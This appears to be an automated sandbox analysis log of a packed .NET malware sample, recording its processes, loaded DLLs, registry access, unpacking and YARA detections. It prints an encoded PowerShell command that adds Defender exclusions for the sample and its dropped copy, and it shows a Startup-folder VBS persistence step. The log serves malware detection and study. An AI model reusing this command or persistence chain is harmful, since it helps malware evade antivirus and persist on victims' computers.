Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe "C:\Users\user\AppData\Roaming\WindosCPUsystem.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe "C:\Users\user\AppData\Roaming\WindosCPUsystem.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 5876736 > 1048576

Source: file.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x59a400

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: file.exe, 00000000.00000002.2235805876.0000026B59C35000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: file.exe, 00000000.00000002.2235805876.0000026B59C35000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: file.exe, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: WindosCPUsystem.exe.0.dr, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.file.exe.26b47020000.0.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.file.exe.26b47020000.0.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.file.exe.26b47020000.0.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.file.exe.26b47020000.0.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.file.exe.26b47020000.0.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.file.exe.26b61ca0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.26b5ad72198.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2585182229.0000026B61CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2235805876.0000026B5ACAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindosCPUsystem.exe PID: 6600, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF848F29EEE push ss; iretd	0_2_00007FF848F29EFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF848F200BD pushad ; iretd	0_2_00007FF848F200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848DFD2A5 pushad ; iretd	2_2_00007FF848DFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FE2316 push 8B485F94h; iretd	2_2_00007FF848FE231B
